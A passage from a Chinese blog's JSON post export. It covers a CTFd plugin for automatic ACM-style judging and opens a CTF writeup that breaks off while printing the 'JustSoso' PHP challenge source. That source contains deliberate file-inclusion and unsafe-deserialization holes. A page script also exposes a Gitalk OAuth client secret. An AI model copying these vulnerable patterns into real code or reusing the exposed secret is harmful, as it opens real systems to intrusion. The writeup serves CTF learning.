{\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2019/08/06/Misc/2019%E6%9A%91%E6%9C%9F%E7%89%9B%E5%AE%A2%E5%A4%9A%E6%A0%A1/"},{"title":"给CTFd加上ACM评测功能","time":"2019-07-24T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e闲得蛋疼.jpg\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e去年参加西电办的中学生CTF嫖了五千块钱,今年就能来西电办中学生CTF.jpg,真实的一批\u003c/p\u003e\n\u003cp\u003e去年的ACM题是直接起了个hustoj(我记得),这样就需要工作人员不断地检查榜单\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e闲得蛋疼.jpg\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e去年参加西电办的中学生CTF嫖了五千块钱,今年就能来西电办中学生CTF.jpg,真实的一批\u003c/p\u003e\u003cp\u003e去年的ACM题是直接起了个hustoj(我记得),这样就需要工作人员不断地检查榜单并且手动发放flag,工作量大且效率低。于是我就来整个CTFdOJ,交的代码AC了自动加分。\u003c/p\u003e\u003ch2 id=\"前置\"\u003e前置\u003c/h2\u003e\u003ch3 id=\"CTFd-plugin\"\u003eCTFd plugin\u003c/h3\u003e\u003cp\u003e与其说是“魔改CTFd”不如说“给CTFd整个插件”\u003cbr\u003eCTFd自带的动态积分题目就是一个典型的插件。这个插件给CTFd添加了一种题目。\u003cbr\u003e那么添加“ACM题目类型”理所当然也应该写成一个插件\u003c/p\u003e\u003ch3 id=\"沙箱的选择\"\u003e沙箱的选择\u003c/h3\u003e\u003cp\u003e评测沙箱需要用来控制程序的行为,而且是OJ的核心部件,要精确统计程序的运行时间/空间占用信息。\u003cbr\u003e由于有很多现成的,那我就找一个拿来用吧\u003cbr\u003e综合功能和LICENSE等多种因素,最终选择了QDOJ的Judger\u003c/p\u003e\u003ch3 id=\"一些决定\"\u003e一些决定\u003c/h3\u003e\u003cul\u003e\u003cli\u003e将评测机与CTFd分离开来。\u003cul\u003e\u003cli\u003e考虑到CTFd只是一个题目平台,并不应该负责繁重的计算任务\u003c/li\u003e\u003cli\u003e将评测机和平台放在一起有修改成绩的隐患\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e做安全的同学大概对Python更加熟悉,于是支持对Python程序的评测\u003c/li\u003e\u003cli\u003e通过配置文件能随时添加新的语言支持\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"撸代码\"\u003e撸代码\u003c/h2\u003e\u003ch3 id=\"plugin\"\u003eplugin\u003c/h3\u003e\u003cpre\u003e\u003ccode\u003e负责添加/展示/设置题目,并在评测正确时为相应队伍加上对应的分数\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e折腾了半天。。。推翻了以前越写越复杂还要改CTFd自己的数据库的写法以后重做了这个东西:\u003ca href=\"https://github.com/frankli0324/CTFd-ICPC-challenges\"\u003eICPC Plugin\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"translation-layer\"\u003etranslation layer\u003c/h3\u003e\u003cpre\u003e\u003ccode\u003e主要负责接受来自CTFd plugin的评测请求缓存测试用例,避免每次都要把40多M的input/output重新发一遍\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e由于需要不同的功能,还是用flask方便一点。通过不同的URL来定位不同的功能。\u003cbr\u003e于是有了\u003ca href=\"https://github.com/frankli0324/JudgeServer\"\u003eJudgeServer\u003c/a\u003e\u003cbr\u003e对于不同的语言支持,可以在worker.json中配置。其中可以配置编译命令,执行命令,并且通过向命令中注入变量来控制细节。\u003cbr\u003e解释型语言不写编译命令就是了。\u003c/p\u003e\u003ch3 id=\"translation-layer-权限控制\"\u003etranslation layer::权限控制\u003c/h3\u003e\u003cp\u003eACM沙箱最头疼的就是权限。\u003cbr\u003e首先,用了别人的沙箱,可以丢过给别人。\u003cbr\u003e其次,这货跑在docker里头,断了外网。希望可以一劳永逸。\u003cbr\u003e还有,具体的权限控制\u003cstrong\u003e假定\u003c/strong\u003e都能通过命令行参数完成。比如\u003cbr\u003ejava的\u003ccode\u003e-Djava.security.manager\u003c/code\u003e选项\u003cbr\u003ePython可以跑在venv里头\u003c/p\u003e\u003ch2 id=\"总体流程\"\u003e总体流程\u003c/h2\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e +--------+ +--------+\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e +-----------+ | | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e | R | | 1 | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e v | +------------\u0026gt; |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e+------+---+ | | | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e| | | \u0026lt;------------+ |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e|contestant| | CTFd | 2 | Judger |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e| | | Plugin | | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e+------+---+ | | | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e | | | 3 | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e | S | +------------\u0026gt; |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e +----------\u0026gt;+ | | |\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e +--------+ +--------+\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上图中1、2、3分别表示CTFd在接收到一次submission(S)后与Judger可能的三种行为\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003ecode\u003c/th\u003e\u003cth\u003eaction\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003e发送代码+题目id+语言,进行评测\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003e返回评测结果与评测过的最后一组数据的运行情况\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e3\u003c/td\u003e\u003ctd\u003e发送题目测试用例的URL\u003csup\u003e\u003cstrong\u003etodo\u003c/strong\u003e\u003c/sup\u003e+设定的资源限制,缓存题目评测信息\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e在收到一次Submission(S)后,Plugin首先尝试进行\u003ccode\u003e1\u003c/code\u003e。\u003cbr\u003e如果Judger此时并没有缓存过这个题目,则会返回评测错误,此时Plugin会尝试进行\u003ccode\u003e3\u003c/code\u003e,Judger则会缓存当前题目\u003cbr\u003ePlugin执行完\u003ccode\u003e3\u003c/code\u003e后会再次尝试\u003ccode\u003e1\u003c/code\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e真是憨憨,自嗨行为\u003c/p\u003e\u003c/blockquote\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2019/07/25/Dev/%E7%BB%99CTFd%E5%8A%A0%E4%B8%8AACM%E8%AF%84%E6%B5%8B%E5%8A%9F%E8%83%BD/"},{"title":"第十二届全国大学生信息安全竞赛西北赛区 部分题目 Writeup","time":"2019-04-21T16:00:00Z","content":"\u003ch2 id=\"JustSoso\"\u003eJustSoso\u003c/h2\u003e\n\u003cdiv class='spoiler collapsed'\u003e\n \u003cdiv class='spoiler-title'\u003e\n 题目源码\n \u003c/div\u003e\n \u003cdiv class='spoi\u003chr /\u003e\u003ch2 id=\"JustSoso\"\u003eJustSoso\u003c/h2\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 题目源码 \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// index.php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eerror_reporting(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026quot;file\u0026quot;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026quot;payload\u0026quot;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;Missing parameter\u0026#x27;\u003c/span\u003e.\u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;br\u0026gt;\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(preg_match(\u003cspan class=\"string\"\u003e\u0026quot;/flag/\u0026quot;\u003c/span\u003e,\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;hack attacked!!!\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e@\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e = parse_url(\u003cspan class=\"variable\"\u003e$_SERVER\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;REQUEST_URI\u0026#x27;\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e parse_str(\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;query\u0026#x27;\u003c/span\u003e],\u003cspan class=\"variable\"\u003e$query\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$query\u003c/span\u003e \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$value\u003c/span\u003e)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (preg_match(\u003cspan class=\"string\"\u003e\u0026quot;/flag/\u0026quot;\u003c/span\u003e,\u003cspan class=\"variable\"\u003e$value\u003c/span\u003e)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;stop hacking!\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexit\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e = unserialize(\u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;Missing parameters\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;!--Please test index.php?file=xxx.php --\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;!--Please get the source of hint.php--\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;/html\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// hint.php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eHandle\u003c/span\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__wakeup\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e(get_object_vars(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$k\u003c/span\u003e =\u0026gt; \u003cspan class=\"variable\"\u003e$v\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;\u003cspan class=\"variable\"\u003e$k\u003c/span\u003e = \u003cspan class=\"literal\"\u003enull\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;Waking up\\n\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;handle = \u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__destruct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;handle-\u0026gt;getFlag();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eFlag\u003c/span\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$file\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$token\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$token_flag\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file = \u003cspan class=\"variable\"\u003e$file\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token_flag = \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token = md5(rand(\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e10000\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003egetFlag\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token_flag = md5(rand(\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e10000\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;asdf\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token === \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;token_flag)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan 